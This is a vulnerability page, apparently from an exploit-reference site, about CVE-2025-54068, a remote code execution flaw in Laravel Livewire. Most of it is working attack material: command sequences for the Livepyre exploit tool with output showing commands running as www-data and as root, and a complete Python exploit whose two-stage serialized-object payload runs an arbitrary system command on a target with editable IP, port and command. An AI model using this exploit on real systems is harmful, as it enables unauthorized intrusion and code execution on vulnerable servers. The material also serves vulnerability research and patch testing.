Skip to content
HackIndex logo

HackIndex

CVE-2025-54068:
Livewire RCE

Published: Feb 21, 2026
Critical
Code Injection

Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution.

Livewire Laravel RCE

Proof of Concepts and Exploits

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

synacktiv/Livepyre
A tool designed to exploit CVE-2025-54068
View source (opens in new tab)

Vulnerability Verification

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/synacktiv/Livepyre.git
┌──(kali㉿kali)-[~]
└─$ cd Livepyre
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ python3 Livepyre.py -u http://$TARGET_IP:$PORT --check

Exploitation With Application Key

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/synacktiv/Livepyre.git
┌──(kali㉿kali)-[~]
└─$ cd Livepyre
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ python3 Livepyre.py -u http://$TARGET_IP:$PORT -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit with APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)

Exploitation Without Application Key

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/synacktiv/Livepyre.git
┌──(kali㉿kali)-[~]
└─$ cd Livepyre
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ python3 Livepyre.py -u http://$TARGET_IP:$PORT
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 2 possible param(s).
[INFO] Checking for param(s) with object type to avoid bruteforce.
[INFO] test is typed as an object, triggering RCE.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)

If you prefer using a single Python3 exploit script, you can easily read and adapt everything into one file using the template below.

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
[+] Targeting http://127.0.0.1:8000
[+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj...
[+] Snapshot extracted successfully
[+] Component ID: Hw1rdEMoCb5vjgoqvt2P
[+] Component Name: counter
[+] Sending exploit payload...
[*] Found param: count
[*] Stage 1 payload being sent:
[!] Stage 1 failed with status 500
[*] Found param: name
[*] Stage 1 payload being sent:
[!] Stage 1 failed with status 500
[*] Found param: obj
[*] Stage 1 payload being sent:
[*] Stage 2 payload being sent:
[+] Response Status: 200
[+] Response: 
uid&=0(root) gid=0(root) groups=0(root)

[+] Exploit successful. Command output received.

Update the source code as needed (e.g., target URL, port, and any payload values).

"""
Simple single file CVE-2025-54068 exploit

Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html

TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me

def get_csrf_token(session):
    response = session.get(BASE_URL)
    
    patterns = [
        r'<meta name="csrf-token" content="([^"]+)"',
        r'data-csrf="([^"]+)"',
    ]
    
    for pattern in patterns:
        match = re.search(pattern, response.text)
        if match:
            return match.group(1)
    
    raise Exception("CSRF token not found")

def get_livewire_state(session):
    response = session.get(BASE_URL)
    html_content = response.text
    
    snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
    if not snapshot_match:
        raise Exception("wire:snapshot not found")
    
    snapshot_raw = snapshot_match.group(1)
    snapshot_decoded = html.unescape(snapshot_raw)
    snapshot_json = json.loads(snapshot_decoded)
    
    return snapshot_json

def exploit(session, csrf_token, snapshot_json):
    url = f"{BASE_URL}/livewire/update"
    
    final_param_name = None
    for param in snapshot_json["data"]:
        print(f"[*] Found param: {param}")
        
        # Stage 1: Cast the object property to an array
        snapshot_str = json.dumps(snapshot_json)
        payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
        
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json",
            "X-Livewire": "true",
        }
        
        print("[*] Stage 1 payload being sent:")
        
        response_stage1 = session.post(url, json=payload_stage1, headers=headers)
        if response_stage1.status_code != 200:
            print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
            continue
        
        response_data = response_stage1.json()
        try:
            new_snapshot = response_data["components"][0]["snapshot"]
        except (KeyError, IndexError):
            print("[!] Failed to extract new snapshot from stage 1 response")
            continue

        final_param_name = param
        
    if not new_snapshot:
        raise Exception("[!] No valid snapshot obtained from stage 1")

    # Stage 2: Build and send the RCE payload
    json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
    updated_updates = json_payload["components"][0]["updates"]
    updated_updates[final_param_name] = updated_updates.pop("TARGET")
    function = "system" # Change this if needed
    user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
    user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
    user_payload = user_payload.replace("[FUNCTION]", function)
    user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
    user_payload = user_payload.replace("[PARAM]", COMMAND)
    json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
    
    print("[*] Stage 2 payload being sent:")
    
    response_stage2 = session.post(url, json=json_payload, headers=headers)
    return response_stage2.text, response_stage2.status_code

def main():
    session = requests.Session()
    try:
        print(f"[+] Targeting {BASE_URL}")
        
        csrf_token = get_csrf_token(session)
        print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
        
        snapshot_json = get_livewire_state(session)
        print(f"[+] Snapshot extracted successfully")
        print(f"[+] Component ID: {snapshot_json['memo']['id']}")
        print(f"[+] Component Name: {snapshot_json['memo']['name']}")
        
        print(f"[+] Sending exploit payload...")
        response, status_code = exploit(session, csrf_token, snapshot_json)
        
        print(f"[+] Response Status: {status_code}")
        print(f"[+] Response: \n{response[:2000]}")
        
        if "uid=" in response or "root" in response or "www-data" in response:
            print("[+] Exploit successful. Command output received.")
        elif status_code == 500:
            print("[-] Server error. Check payload compatibility.")
        else:
            print("[-] Exploit failed. Check response for errors.")
            
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()